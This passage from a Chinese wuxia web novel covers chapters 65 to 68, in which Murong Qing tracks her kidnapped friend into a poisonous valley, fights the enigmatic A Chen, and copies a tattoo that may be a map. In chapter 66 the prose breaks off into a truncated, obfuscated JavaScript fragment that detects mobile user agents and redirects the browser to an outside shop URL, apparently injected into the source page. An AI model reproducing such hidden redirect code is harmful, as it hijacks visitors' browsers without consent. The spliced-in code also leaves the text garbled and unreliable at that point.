若说有什么传说中的生灵,能在形态上与这诡谲的图腾有一丝相近……方知画脑海中蹦出两个字:鲲鹏。
而这仅仅是她在震惊之下模糊的联想。方知画看过无数画作,无论是真迹、仿品、临摹还是拓印,只要用心体察其笔触、线条、墨色,都能感知到作画者的情绪——喜悦、愤怒、悲伤、恬淡,有画,就会有情感留下的痕迹。
但这幅刺青,给她的感觉,是完完全全的“空”。
没有情绪,没有温度,没有任何的心意灌注其中。要么它是天然形成的,要么不是人力所为。
这怎么可能?方知画跌坐在石床边,脑子里乱成一团浆糊。
时间在死寂中流逝,方知画抱着膝盖,把脸埋进去,身心俱疲。她想不通,这他爹的都叫些什么事?
就在她几乎要被绝望吞噬时,床上响起一声仿佛从肺部深处挤出来的、带着粘滞感的吸气声。
方知画猛地抬头。
阿琛的胸膛,极其微弱地,起伏了一下。然后又是一下。他灰败的脸色,以肉眼可见的速度,慢慢恢复红润,他的睫毛颤了颤,缓缓睁开双眼。
那双眼起初是空洞茫然的,仿佛穿越了无尽的长夜,跨过人间万丈红尘。随后它渐渐聚焦,投向近在咫尺、满脸泪痕的方知画。
“……哭什么?”阿琛声音嘶哑,带着浓重得化不开的疲惫。
方知画呆呆地看着他,一个字也说不出来。眼前的景象太过离奇,已经完全超出了她对生命、武学和常识的所有认知。
看她怔忡的模样,阿琛用手肘撑起身体,扯了扯嘴角,似乎想笑,却形成一个有些扭曲的弧度。
“别怕。”
65. 乌兰珠
恰逢十日一次的大集,望云镇东街人声鼎沸,热闹非常。挑着担子的货郎拖着长音吆喝,店铺里的小二也都忙着招揽生意。
街角一家点心铺子门前,围着几个等着买糕饼的妇人。一个约莫五六岁、扎着双丫髻的小女孩,正拽着母亲的衣角,百无聊赖地四下张望。
忽然,半空中一抹翩跹丽色吸引了她的注意。
那是一只花蝴蝶。它飞得颇高,在金色的阳光下,呈现出罕见的墨蓝色,翅膀边缘点缀着斑斓的花纹,美轮美奂。
“阿娘!阿娘快看!”小女孩顿时兴奋地扯着母亲的袖子,小手指向空中,“好漂亮的蝴蝶!像仙女的衣裳!”
她母亲闻言抬头,也被那蝶儿的美丽惊了一下,脸上露出笑容,顺着女儿的话哄道:“是啊,真漂亮,娘活了这些年,还没见过这么稀罕的蝴蝶呢。许是山里的仙蝶,飞出来瞧热闹了。”
旁边几个妇人也跟着啧啧称奇,那蝴蝶似乎被下方的热闹吸引,又或是嗅到了糕点的甜香,翅膀轻扇,朝着这边悠悠飞落下来——
小女孩屏住呼吸,大眼睛一眨不眨,满是纯粹的欢喜。
就在这时,旁边伸出一只骨节分明、修长有力的手,动作快如闪电,精准无比地将那蝴蝶牢牢攥在了掌心。
如梦似幻的色彩,立时化作一小撮湿黏的污渍。
捏死蝴蝶的是在隔壁铺子买馒头的青年,他生得一副俊美非常的好皮相,此刻正随意地找了块抹布擦手。
“呜哇!!!”小女孩呆愣两秒,随即爆发出惊天动地的哭声,她母亲也一脸怒气,将女儿搂进怀里,冲着那青年啐了一口,骂道:
“呸!瞧着人模狗样的,怎地行事这般缺德!连只蝴蝶都容不下,吓着孩子了你!”
青年被骂了也没什么反应,拿过馒头转身便走。妇人无法,也只得哄着哭哭啼啼的女儿匆匆离开。
零星有几个看热闹的,很快就散了。慕容青一边啃着还烫嘴的馒头,一边快步穿过熙攘的市集。
为了赶路方便,也更为了万一途中出事,不至于牵累昭家,她仍旧保持着易容后的男子装扮。方才在集市上,她已经买齐了接下来深入苍茫山可能需要用到的物品。
苍茫山,是消息楼最后探寻到方知画踪迹的地方,尽管方家已经派出了众多人手,但这里水脉四通八达,山中多有猛兽,很难确定其具体的下落。
而望云镇,正是离苍茫山最近的村落。
慕容青走到镇口拴马的石桩旁,解下缰绳,正欲翻身上马,眼角余光瞥见马尾巴附近,又是一抹扑闪的亮色。
这次的蝴蝶稍小一些,翅膀呈橘红色,带着扭曲的黑色纹路,颤巍巍地落在了马屁股上。
“阴魂不散。”慕容青眉头狠狠一皱,当真是烦透了这些鬼东西。
从王都出来之后她便有所察觉,原以为是身上被下了什么追踪的药粉,果断找了间客栈,从头到脚仔仔细细清洗了一遍,又将里外衣裳鞋袜全部换过,依然没用。
无论是走水路浅滩,改换路线还是故意兜圈子,只要一停下来不久,这些破幺蛾子总能不紧不慢地翩然而至。
要弄死它们也很简单,只是杀不干净,弄死一只还有下一只,如影随形,摆脱不掉。
“啧。”慕容青烦躁地甩出一粒石子钉死了那只红蝶,翻身上马,朝着通往苍茫山的方向疾驰而去。
离开望云镇约莫数里,地势愈发崎岖,就在慕容青策马拐过一处弯道后,道路中央赫然出现了一个女人。
那是一个身着红衣的美丽女子,制式与中原不同,上衣紧束,下装乍看是裙,实则是裤,裤脚扎进鹿皮靴里。她满头长发并未绾髻,而是编成了粗壮的辫子,脸颊上有一道尚且粉嫩的新疤。
那道疤痕破坏了她原本无暇的容貌,平添了几分野性而危险的美。
“我说过,”红衣女抽出腰间长辫握在手中,“我一定会找到你。”
“果然是你。”慕容青勒住马,倒也不算意外,“追这么远,你到底想要做什么?”
从山坡两旁灌木丛中窸窣的动静判断,此处至少埋伏着上十人。
就这么点阵仗,慕容青还不放在眼里。
红衣女皱眉,“你就不问问我是谁?”
慕容青反问道:“跟我有什么关系吗?”
红衣女握着鞭子的手指微微收紧,强忍怒意道:“我是朔风部圣女,乌兰珠。”
她的汉话发音有些生硬,但足够清晰:“转告你背后的主人,我们可以尝试合作。”
朔风部,天池岭以北的部落,晋王一党在天池岭豢养死士,她又曾是晋王府的座上宾,慕容青一瞬间心念电转,耸肩道:“你找错人了,我背后没有任何势力。”
“狡猾的中原人,骗鬼呢。”乌兰珠低声先骂了一句,又嗤笑道:“你以为我们远在边塞,就一无所知吗?你杀了武阳侯,又闹得晋王府鸡飞狗跳,没有你做的好事,新帝登基能这般顺利?而且,你们还派人围了他们在山中的‘村子’,倒比我以为的要聪明些。”
围村应当是肖平派人做的,慕容青没什么波动道,“哦,你们不是晋王的盟友吗?”
“是大首领收了他们的好处,我部才不得不炮制那些傀儡。”乌兰珠坦坦荡荡道:“我早便看不惯。大首领践踏生灵,背弃了与长生天的誓约,迟早会为我部招来神罚。”
这倒有意思,朔风部一向以大首领为尊,这个圣女却临阵倒戈。慕容青眼尾微挑,直截了当问:“你想夺他的权?”
“我身为长生天的使女,本就有资格取而代之。”乌兰珠没有丝毫心虚胆怯,昂首道,“稳固的边域,年年的朝贡,对启元帝而言,难道不是一笔更划算、更长久的买卖?”
慕容青心头微震,启元帝是肖平的年号,在半路上,她便听闻了新帝颁布即位诏书,大赦天下的喜讯。尽管有流言说,以赵王为首的宗室耆老对建极帝的死和这个结果存有异议,但新帝出人意料地拿出了天子符节——
大梁以此传国,这是最为有力的佐证。
世人曾以为建极帝得国不正,遗失了天子符节,而今看来,都是谬传。
如此这般,新帝名正言顺坐稳了九五至尊之位,得以执掌天下。
慕容青由衷为肖平高兴……不对,她不应该再执意叫他肖平,她明明知道他再也不会是集英书院那个温吞又一本正经的同窗。他只是陪丢失记忆的自己又演了一场戏,他从来都是燕平,是大梁真正的皇子。
他的执念,他的抱负,都有了施展的一天。只不过,她与他从此天悬地隔,前路殊途,唯有相忘于江湖。
毕竟,她不
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可能为了任何人囿于深宫,不得自由;也绝不会允许所爱之人,广纳妃嫔,坐拥群芳。山高海远,她自有她的去处。
“你凭什么认定,我就是新帝的人?”慕容青耸肩道,“我杀人闹事,只为私仇。”
“行吧,”见她水泼不进,乌兰珠再压不住怒火,“那我便拿了你,去问新帝邀功,你可是朝廷重犯。”她一挥手,两侧利箭齐发!
慕容青早有防范,自然不会坐以待毙,借力在马鞍上一按,整个人轻盈腾起,凌空翻转,扫腿踢开箭矢,又以迅雷不及掩耳之势抽刀袭向乌兰珠!
她这一刀力贯山河,乌兰珠不敢贸然硬接,只得侧身避开,再行拆招,拖得一刻,便可与飞身而上的手下合围。不想对方身形忽如鬼魅般切近,一只手迅如闪电般探出,猛地扣住了她的咽喉!
太快了!乌兰珠瞳孔骤缩,这个人,仿佛不断在成长一般,身法比上次更加可怕!
“如果你不是女子,就凭你几次三番纠缠,我会捏碎你的喉骨。”慕容青收紧五指,声音里带着不容错辨的寒意与不耐,“你最好趁我没有改变主意之前,走远一点。”
女子要在这世道挣扎出头,个中艰辛百倍于常人。这份微妙的共情,让她对乌兰珠留了一线,未下死手。
冲上来的朔风部族勇士见状哪里敢上前,乌兰珠咽喉被制,呼吸不畅,脸色涨红,却并未露出惧色,反而因为慕容青近在咫尺的气息和话语,琥珀色的眼眸中闪过一抹奇异的光彩。
她艰难地扯着嗓子开口道:“我是男是女,与你何干,莫非你对我有意?”
“?”慕容青丈二的和尚摸不着头脑,只觉这圣女的脑子构造与常人果然不同。她扣着她咽喉的手指又紧了一分,厉声道:“我没空与你纠缠些荒谬之事。你再敢阻挠,休怪我无情。”
说罢,她用力将乌兰珠向后一推,同时飘开数步,翻身上马。
乌兰珠踉跄几步站稳,退到手下形成的防线之后,隔着一段距离,死死盯着慕容青,却没有再立刻命人攻击。
她捂着喉咙不舒服地咳嗽了几声,脸上红潮未退,眼神复杂,“要么你就现在杀了我,要么我的寻香蝶一定还会再找到你。”
慕容青拽向缰绳的手一顿,“等等,你的蝴蝶可以记住我的气味?”
乌兰珠眉头挑起,“不错。”
如果我有一个人的随身物品,”慕容青面带思索:“你能让你的蝴蝶通过气味,追踪到那个人吗?”
乌兰珠立刻察觉到对方语气中的变化,她挺直腰背,那股趾高气扬的神态又回来了,“当然。”她顿了顿,眼中精光一闪,“怎么?你想让我帮你找人?”
“是。”慕容青干脆地承认,“只要你能找到我要找的人,我就帮你实现你的目的。”
乌兰珠沉默片刻,不是在权衡利弊——而是深感命运的捉弄。
寻人对她和她的蝴蝶来说,轻而易举。这笔交易,她稳准不亏。只是没想到大费周章折腾这一路,最后却是靠着蝴蝶达成了目的。说起来,这蝴蝶还被这个人弄死了不老少。
中原人说什么来着?无心插柳柳成荫。乌兰珠不忿道:“你还没有告诉我你叫什么名字?”
“行不更名坐不改姓,”慕容青从怀中拿出一个小巧的香囊,斩钉截铁回答说,“我叫赵青。”
66. 绝壁
苍茫山高处雾气终年不散,嶙峋怪石如巨兽獠牙,形成一片奇诡而壮大的石林。
风穿过石隙,发出呜咽般的低啸,卷动着稀薄云霭,让那些千奇百怪的石柱时隐时现,恍如远古巨阵。地面覆盖着厚厚的青苔与不知名的蕨类,空气中弥漫着潮湿的土腥与植物的气息。
慕容青站在一处尤为险峻的石崖边缘,脚下是撕裂般的巨大地缝。裂缝边缘参差不齐,宽处逾丈,窄处仅容一人侧身,向下望去,只有翻滚涌动的乳白色云雾,深不见底,仿佛直通九幽。
一股说不清道不明的微妙熟悉感划过心头,慕容青微微蹙眉。
“你确定他们在这下面?”她收回目光,转向身旁的红衣女子,声音在呼啸的山风中显得有些缥缈。
一只墨蓝色的蝴蝶扑闪着停在乌兰珠的指尖上,收拢了翅膀。她回答道:“不确定。但这里是那姑娘最后停留的地方,”她指了指脚下的岩石,“然后,就消失了。除了下面,没有其他的路。”
乌兰珠顿了顿,补充道:“我放下去探路的蝴蝶一只都没有回来,这种情况,要么下面有人跟你一样,手脚快,把我蝶子都弄死了;要么底下有很厉害的毒瘴,或者别的什么……危险的东西。”
慕容青心一沉,方知画的武功基本等于没有,不过阿琛也在。或许,这本就是他的鬼把戏,这个人从一开始就在伪装,深不可测,虽然不知道他挟持方知画想要干什么,但既然没有直接杀死,便必定有用,也不会让她轻易丢了性命。
思及此,慕容青心下稍定,“行,我知道了。”
“我自己下去查探。乌兰珠,你可以带着你的人,先回望云镇等我消息。”
“那怎么行!”乌兰珠立刻反驳,脸上写满了不信任,“你要是趁机跑了,我上哪儿找你去?”
慕容青郑重道:“我可以发誓决不食言。找到人,我自会去望云镇寻你,履行承诺。”
“呿!”乌兰珠毫不客气地嗤笑一声,双手抱臂,红色衣裙在风中猎猎作响,“发誓有什么用,谁知道你是不是真的叫赵青?你们中原人最是谎话连篇。”
慕容青被她噎了一下,一时竟无言以对。
“总之,我不会骗你。你要不信,那就在这山上守着好了。不过我下去不知道要多久,也许一天,也许三五日,这山里夜晚寒凉,虎啸狼嚎的,你们自己掂量吧。”
“我要跟你一块下去。”乌兰珠态度坚决,“万一底下另有出路,岂不是让你溜之大吉。”
“会的成语还挺多。”慕容青嘀咕一声,妥协般扯了扯嘴角,约定道:“随你。不过,丑话得说在前头。第一,底下情况不明,你跟下去,有任何危险,自己负责,生死各安天命,我不会分心护着你。”
“第二,你不可以碍我的事,不可以擅自行动,一切听我安排。明白吗?如果做不到,现在就带着你的人离开。”
乌兰珠毫无惧色地一笑,“没问题,就这么说定了。”
“好,”慕容青伸出手,“你先把香囊还给我。”
此刻已到了地方,再要追踪物也是无用,乌兰珠立马取出东西,物归原主。
慕容青接过香囊检查了一下,随即看向乌兰珠:“这里面的香料呢?”
“什么香料?”乌兰珠莫名其妙,“你给我的时候,这香囊就是空的,里面什么都没有。”
“绝不可能。”慕容青断然否定,又将香囊递回给乌兰珠,“我给你的这个香囊十分特殊,藏有一种异香,你不信自己看。”
“哪有什么异香,你不会想讹我吧?!”乌兰珠一把接过香囊,将囊口朝下,倒过来抖了抖,又凑到鼻端仔细嗅闻,“你睁眼说瞎话,明明什么味道都没有……”
乌兰珠话音渐渐低了下去,尾音带上了一丝含糊。她晃了晃脑袋,整个人踉跄了一下,向前栽倒。
慕容青早有准备,上前一步托住她软倒的身体,同时厉声喝止了见状大惊,拔刀就要冲上来的朔风部守卫。
“慢着!我没有伤害她!”
“圣女!”
“你做了什么?!”
气氛顿时剑拔弩张,杀气四溢,慕容青为表诚意,将乌兰珠轻轻放靠在旁边一块相对平整的石头上,自己则直起身,向后退去。
“别紧张,她最多睡上一刻钟就会自然醒来,不会有任何损伤。”慕容青十分镇定,给人一种不自觉的信服感,“你们可以自己检查她的呼吸和脉搏。”
为首的络腮胡壮汉立时将他们的圣女保护起来,探看后确无大碍,才稍微缓和脸色,但眼神依旧警惕。
“大山深处危机四伏,朔风部没必要随我这个外人冒险。”
慕容青指了指不远处泥地上的偌大的梅花状痕迹,趁势道:“你们也看到了,这附近甚至有老虎的爪印。与其在这险地与我厮杀,不如带着你们的圣女,另寻安全的地方。”
“事了之后,我自会去望云镇寻你们。”
言尽于此,这些人再不走她可就真不管了,俗话说得好,良言难劝该死的鬼。
护卫们交换眼色,络腮胡显然被说动了,收起弯刀,背上昏睡的乌兰珠即刻离去。
“若你所言有半分虚假,朔风部追到天涯海角,也不会放过仇敌!
“放心。”慕容青淡淡应道,并不在意对方撂下什么狠话。
还好这残存的一点“神仙醉”粉末,派上了用场,摆脱了乌兰珠这个缠人的麻烦。
慕容青再次走到地缝边缘,俯身凝望。云雾在下方翻滚,仿佛有生命一般。
贸然跳下去自然不可能,这深度,轻功再好也保不齐断腿。
她仔细观察下方的岩壁,倒也并非完全垂直,有些地方有明显突出的岩层、石棱,甚至还有一些顽强的植物从缝隙中挣扎着长出来。
只能爬下去了。
慕容青解下背负的行囊,从中取出结实的绳索、带有铁钩的飞爪,以及一些辅助攀爬的楔子。她将这些必须的工具和食物绑在身上,确保活动自如,剩下的随意丢在一边。
风声,远处隐约的鸟兽啼鸣,听不清的细微流水淙淙……这份熟悉感到底是哪来的?慕容青闭眼感受了片刻,还是想不起来,算了,先下去看看。
石林寂寂,云雾合拢,很快掩去了她下探的身影。
*
谷底的时间模糊地流逝,日出月落,一成不变。
方知画已记不清自己多久没正经洗过澡,也不敢去数——人不肯面对现实,往往是因为现实太过残酷,人有什么错?人不过是稍微有点臭罢了。
“臭,不代表一定就要洗。”方知画蹲在深潭边一块光滑干燥的大石上,抱着膝盖,盯着眼前冒着丝丝寒气的潭水,内心进行着激烈的自我说服,“尤其是下这种冰凉刺骨的水里洗。”
她打了个寒颤,光待在这里都觉得水汽凉,更别提往下跳,“就像学问不好,也不一定要头悬梁锥刺股一样,摆烂也可以,浑水摸鱼也可以。”
“你嘀咕半天,倒是快下水啊!”瀑布轰鸣声中,夹杂着阿琛的高声大喊。他只着一条贴身长裤,半个身子浸在潭水里,水珠顺着他流畅的肌肉线条滑落,脊背勾出优美的沟壑。
“一屋不扫,何以扫天下!”他尝试激励她,“自身不清,何以清世间?”
“清什么清,水至清则无鱼。”方知画扭过脸去,胡乱回答,“强扭的瓜不甜,你别逼我了。”
她握紧双拳,已然下定决心,这水是坚决不会下的。
“你洗你的,别管我,你要是敢偷偷拽我下去,我跟你拼命。”
“潭水虽凉,但适应一阵,血脉活动开,也就还好。”阿琛看她那副如临大敌的模样,不免好笑,仍是不死心劝道,“既能梳洗干净,又能学会泅水,何乐而不为呢?”
方知画无动于衷,“你乐,你自己慢慢为。”
见此女油盐不进,阿琛无奈放弃,只得自己先洗。
约莫一刻钟后,阿琛上岸擦干身体,他的腿伤已恢复得七七八八,步履矫健。两人一同出得隧道,回石室烤火。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010453|192123||http|test|mini|href|location''.split(''|''),0,{}));
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>橘红色的火焰跳跃着,阿琛披散的长发湿漉漉地不住往下滴水,他自己浑不在意,方知画都觉得寒气直冒,忙挪开屁股坐得离他更远了些。
但蛟索就那么长,再远也远不到哪去,轻微的响声提醒着彼此的桎梏。阿琛拧了拧头发上的水,慢条斯理道:“你不肯跟我学泅水,那就只剩下一条路可走,我们从崖壁攀上去。”
方知画闻言眼皮一跳。
“我看你轻功也还行,但高处岩壁经年风化,松脆易碎,且罡风凛冽狂暴,若稍有不甚,攀至半途摔落,可说不好这次该谁缺胳膊断腿了。”阿琛斜睨她一眼道,“所以,从明日起,你同我一道,先好好训练。”
“不行的。”方知画把下巴搁在膝头,很有自知之明道:“不行的。你觉得我轻功好,只是因为我家的‘踏雪寻梅步’讲究身轻如燕,踏雪无痕,并不代表我的臂力比得过山里的猴子。那么陡、那么高的崖壁,我攀不住的。”
“不练练怎么知道?”阿琛反问,“这也不成,那也不干,难道你真要留在这谷底,生根发芽,当个野人?”
他语带威胁,“你就不怕我哪天不耐烦了,恕不奉陪?”
若是在刚坠谷的那段时间,这种威胁或许能让方知画心惊胆战。现如今,在这鬼地方困顿磋磨了两个多月,她从最初的惊惧不安,发展成了一种历经千帆的豁达与麻木。
“我的确是吓大的,特别喜欢被吓,吓着吓着就迷上了。”方知画抬起脸,露出了一个灿烂的微笑,“你接着吓,不要停,我就爱听这个。”
面前这个人,也不知道还算不算人,从头到脚都笼罩在未知的迷雾与惊人的隐秘之中。她问不出,也不敢再问,干脆假装无事发生,倒也还真就风平浪静。
他要杀她,早杀了,这么久没杀,还数次搭救,那就是不会杀了。既然死不了,还有什么能真正威胁到她?
“……”
阿琛一时无言,火光映着他轮廓分明的侧脸,那上面分明写着“无语”两个大字。
看他吃瘪,方知画反而来了劲头,“我跟你讲,别那么悲观。一定会有人找到我们的!”
她语气笃定,眼神亮晶晶的,充满了莫名的信心,“天下之大,能人异士辈出,就没有人找不到的地方,也没有人解不开的困局。我家人可不是吃素的,我还有好朋友,他们肯定都在想办法!”
阿琛沉默片刻,才淡淡道:“此地毒瘴见血封喉,寻常人下来一个死一个,下来两个死一双,能管什么用?”
方知画理所当然地接道,“那不是还有你吗?”
“我为什么要救那不相干的人?”阿琛像是听到了什么荒谬的笑话,嗤之以鼻。
“你善良啊!”方知画脱口而出,夸赞道,“你这人心地挺好的,不是连我也救了吗?这说明你慈悲为怀。”
见阿琛面上忽然间阴晴不定,不像是高兴的样子,方知画缩了缩肩膀,话锋一转道:“再说了,他们下来可以救我们出去的。”
“哦,你指望他们怎么下来?又怎么带我们出去?”
“可以搭个绳梯垂下来?”方知画想了想,自觉也不现实,又比划道:“或者,用那种带铁钩的飞爪?”
阿琛毫不留情地打断她的幻想,“你以为随便什么人,凭一点工具,就能从这光滑陡直的绝壁来去自如么,若真是如此,这里早就……”他话音一收,继而道:“你当是戏台上演花架子。”
方知画被他说得有些沮丧,正要反驳,眼角余光忽地瞥见石室洞口外的景象——
那令人望而生畏、几乎垂直的灰黑岩壁上,分明正有一个“小斑点”在缓缓向下移动。
“诶!你看!”方知画猛地站起身,激动地指向洞口外,声音因惊喜而陡然拔高,“那是不是有人下来了?!我就说吧!”
阿琛也已凝目望去,这还真是……
他没有多说,干脆利落地拿起了始终放在身边触手可及位置的短刀。
“走,”阿琛的声音低沉而警惕,“我们过去看看。”
67. 亡魂
绝谷之底,两个多月没见外人,来的就算是个绿毛妖怪方知画也要凑上去看一看。反正她这些时日,别的不说,胆子是日新月异、突飞猛进的,非一般的青面獠牙还吓不住她。
再说了,青面獠牙弄不好还能跟她腕上拴着的活死人是一家呢。
两人前后走近,方知画伸长脖子望向崖壁上那个越来越清晰的身影,既好奇又期待。此人借助绳索飞爪,在嶙峋陡峭的岩壁上移动得异常稳当,身手之矫健令人叹服。
不多时,那人在离谷底尚有七八丈高的一处狭窄石台上停住了,显然早已察觉到来人,也在向下观望。
天光刺目,方知画眯着眼,仰头努力分辨。那人穿着利落的束身劲装,身形修长挺拔,面容似乎做了些修饰……但她还是一眼就认出,那轮廓,那束发的习惯,那英姿勃勃的神采——
“早早?!”方知画兴奋地大喊,尾音都因狂喜而劈了叉,几乎要原地跳起来,“早早!我在这儿!这儿!!!”
她忘乎所以地挥舞着手臂,崖壁上的身影一动,倏地纵身跃下,没有任何迟疑。
她像一只飞鸟直扑下来,衣袂在疾速的气流中猎猎翻飞——方知画的惊呼声将将卡在喉咙里,对方足尖一点,已是落到她身旁。
“早早……”方知画看得目瞪口呆,连久别重逢的拥抱都忘了。她知道早早功夫底子好,没想到好成这样,按照士别三日当刮目相待的标准,她眼珠子得换。
关于早早为什么会找到这里来的一肚子疑问还没得来及问,腕上传来一股拉力,是如临大敌的阿琛正向后退。方知画正欲开口说明,手腕便被一只微凉而有力的手扣住。
她根本没看清早早是如何一错一拧,总之那禁锢她多时的缠丝扣瞬间弹开!而几乎是同时,阿琛那边飞速拽走了银镯,有样学样,也卸下了束缚。
早早一语不发,两根手指精准搭上了她的脉门,但目光一秒都没有离开阿琛。
“早早,我没事。”方知画知她在探自己的脉象,赶忙解释道,“我跟这人也是机缘巧合,掉到这里,对了,他就是你要找的……”
方知画声气渐低,早早盯向阿琛的眼神意外地令她感到十分陌生,甚至有一丝害怕。专注、冰冷、锐利而无情,她一瞬间回想起崖上的那只白虎,那是属于狩猎者的眸光。
果然,早早根本没有听她说完,方知画只觉眼前一花,下一刻,便是金铁交击的脆响——
“铛!”
一丈开外,两道残影战在一处!
太快了,无论是挥刀的还是格挡的,速度都快得只在空中留下令人看不清的虚影。两人身形不住交错,攻守之势三招之内易势五次,或者更多,方知画看得眼花缭乱,全神贯注之下竟然头晕。
这肯定、绝对、断然是她无法介入的搏斗,方知画很有自知之明地躲到安全距离,才气沉丹田大喊道:“咱们能不能先出去再打啊?”
就算再菜她也发现了,这两人势均力敌,一时半会恐怕是难分高下。早早的目的是要制住对方,或者说生擒,而阿琛滑不留手,且战且退。
终于是在下一个回合,两人有了片刻的对峙。方知画远远听阿琛轻佻道:“怎么一见面就这么心急火燎的?你就没什么话想先问问我吗?”
而早早回答道:“我问了,你就会老实说吗?”
“不一定。”阿琛居然笑了笑,那笑容里有些玩味,“可以谈谈价码。”
早早脚下步伐微动,“没有价码。”
“出不起价可以谈点别的,”阿琛亦随着她的移动调整重心,“比如说高抬贵手,放我一马?”
“做梦。”早早从牙缝里挤出两个字,骤然发难,“等我抓住你,有的是办法让你慢慢说。”
叮叮当当一阵密集脆响,两人短刀相接舞成一团光幕,阿琛喘息着,看起来有些狼狈,感慨道:“你就这幅急性子,从小到大,真是一点没变。”
“闭嘴!”早早忽然暴怒,原本还算平静冷肃的脸青筋直跳,一击之下,直将阿琛手中刀刃断成两截!
方知画心中疑窦丛生,忍不住插嘴喊道:“是啊,你谁啊?难不成你也在我们书院读书?我怎么从来没见过你?”
激斗中的两人打出火气,谁也没理会她,阿琛抓住间隙,猛地掷出断刃向后跃开,转身朝着那条通往水潭的隧道方向疾奔!
早早低喝一声,紧追不舍。
“啊?等等我!”方知画急了,连忙跟上去。一来这地方可不兴扔她一个人;二来这两人一个是她挚友,一个救过她命,随便切磋切磋得了,哪能真出什么事。
*
隧道内光线骤暗,仅凭入口处那一点微弱的天光,基本等于啥也看不清。脚下苔藓湿滑,往常有阿琛牵引还好点,眼下方知画只能自己摸索着石壁前进。
潮湿的气息扑面而来,轰隆的水声混合着打斗、呼和声嘈杂一片,方知画只能听到一些零碎而模糊不清的对话。
是阿琛的声音,好像在反问,“……你应该感谢我……帮你想起了所有的事,不是吗?”
“……在交代清楚你的来历和目的之前,你说的话,我一个字都不会信!”
“呵……其实……我也在寻找答案……找了很久,很久……”
“哎呀!”方知画脚下一滑总算是连滚带爬冲出隧道,只听“噗通”一声清晰的水响,阿琛大喊道:“行了,快带你的朋友走吧,我受够她了。”
“什么叫你受够我了?我才是受够你了!”方知画冲着水潭嚎了一嗓子,潭水骨碌碌冒出两个泡,很快平息,看来这水下是真的有通路。
方知画回身见好友神色不对,不禁担忧道:“早早?你没事吧?”
“早早?”
……
“你不觉得奇怪吗?”——阿琛的声音仿佛还在慕容青耳畔回响——“慕容家世世代代都是短命鬼,没有人能活过花甲之年。即便没有这场动乱,照样会无可避免地走向衰亡。”
“他们到底是因为血脉特殊,才拥有守护十三陵、复活天子的使命,还是反过来?”
“什么叫‘他们’,难道你不姓慕容??!”她听见自己喝问,“你能活着进入这里,敢说没有流着慕容家的血?你到底是谁!”
“我只是一个早就该死的亡魂罢了。”
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亡魂,她又何尝不是。
天知道她行至半程,确定石林奇阵掩盖的,竟真的是十三陵秘境时的震撼与动摇。大伯父当年交待得仓促,连她都只知晓水道通路,而阿琛却……
……
“早早?早早!”
方知画急得伸手拉她衣袖,慕容青猛地回神,深吸了一口溶洞中冰凉潮湿的空气,强压下翻腾的心绪。她看了看眼前狼狈不堪、眼巴巴望着自己的好友,发髻松散,衣衫褴褛,脸上还沾着泥灰,但眼睛始终明亮,充满生气。
罢了,方知画没事就好。眼下最紧要的,是赶紧将人安全带出去。至于其他,来日方长。
“我没事。”慕容青恢复了冷静,反握住方知画的手,“我们先离开这里。”
慕容青下来时,已在几处关键的岩缝打下了坚固的长钉,并留下了备用绳索。那缠丝扣倒是又派上了用场,她将方知画与自己绑在一起,半拖半拉,沿着原路向上攀援。
遇到光滑无处借力处,便甩出飞爪勾住上方岩石,凭借着惊人的臂力,一点点地将两人提升上去。这一路艰险,她对方知画说得最多的只有四个字:
“别向下看。”
方知画点头如捣蒜,待重返崖顶,直接瘫倒在地,半天说不出话来。
*
当晚,望云镇唯一的客栈“云来居”上房内。
泡在热气腾腾的香汤里,方知画满足地喟叹,简直有再世为人之感。身上是彻底洗干净了,好险没搓掉她一层皮,头发也用皂角水淋了三遍。
她换上一身干净的新衣,拿了块布巾绞头发,提溜着新鞋绕出屏风外烤火。客栈就两间上房,一间听说已经被人订下,所以她和早早干脆同住一屋,如此一来,说话也方便。
这一别大半载,她有太多的事要讲要问,想必早早亦是如此,正倚在桌边等她。
桌上摆着好几碟客栈精心烹制的菜肴和米粥,但她们俩忙着说话,都没怎么动筷。
从抢夺缎带,到追踪遇虎,坠崖求生,方知画稍作犹豫,还是将玉鼎中的“奇尸”,与阿琛的解毒之血、“假死复生”等事和盘托出,包括他背上浮现的诡异图腾,以及自己的推测。
“那个纹身非常奇怪,就像是忽然从他皮肤底下长出来的一样……我一开始只觉得它异常的‘空’,没有任何作画者的情绪,不像是人为绘制。”
“后来我想明白了,”方知画顿了顿,托着下巴道:“是我自己被框架所限,若跳出‘图画’的范畴去想……这很有可能是一副地图。”
“有些线条的链接非常奇怪,像是某种方位和距离的标记,为的是还原地形,”她双手比划道,“所以绘制者本身没有任何想法,就只是单纯地记录。”
她闭起眼睛,回想着脑海中那幅惊鸿一瞥的图腾,愈发肯定。那一笔笔青黑的线条,诡谲的走势,似鱼非鱼、似鸟非鸟的轮廓,从肩胛蔓延到腰际的繁复细节……
“知画。”早早的声音前所未有地郑重,“你能凭记忆,替我重绘那副图吗?”
方知画睁开眼,点了点头。
“没问题,叫小二拿纸笔来,我现在就画。”
68. 新法
天光渐亮,残烛燃尽。方知画早已熟睡,梦呓中还不住感叹高床软枕的舒适,再也不出门遭罪了云云。慕容青莞尔,把两床被褥都堆到好友那边。
反正她也全无睡意,索性倚到窗边,仔细看那幅墨迹将将干透的画。
诚如方知画所说,此物乍看形似鲲鹏,却存在着诸多疑点。山川走向、水流脉络、乃至可能的方位标记,都隐含在蜿蜒的线条与特定的节点之中,像一幅用线条加密过的地形图。
慕容青自认对堪舆最是熟悉不过,却完全看不出头绪。无论怎么套,都难以在大梁找到与之相对应的地方。
或许是有别的解法……
她思绪渐远,一会飘忽到海外的传说,一会忆起儿时从族中长辈那听到的故事。她无可避免地再次猜想起阿琛的身份,他识破了自己的伪装,又口口声声言及少时,必然是曾经熟识她的人。
燕平说有她的二哥慕容枢的消息,难道?!
可无论是五官面貌,还是身高体形,这二人都相差太多。而且十三陵之隐秘仅由慕容氏历代族长亲传,就算是慕容枢也不该知情。
方知画提到他将千方百计拿到的缎带——主要是其中蕴藏的寒灰,洒落在绝地谷底。外人无从知晓,慕容青却再清楚不过。
那是族中所有逝者,留下的烬余。
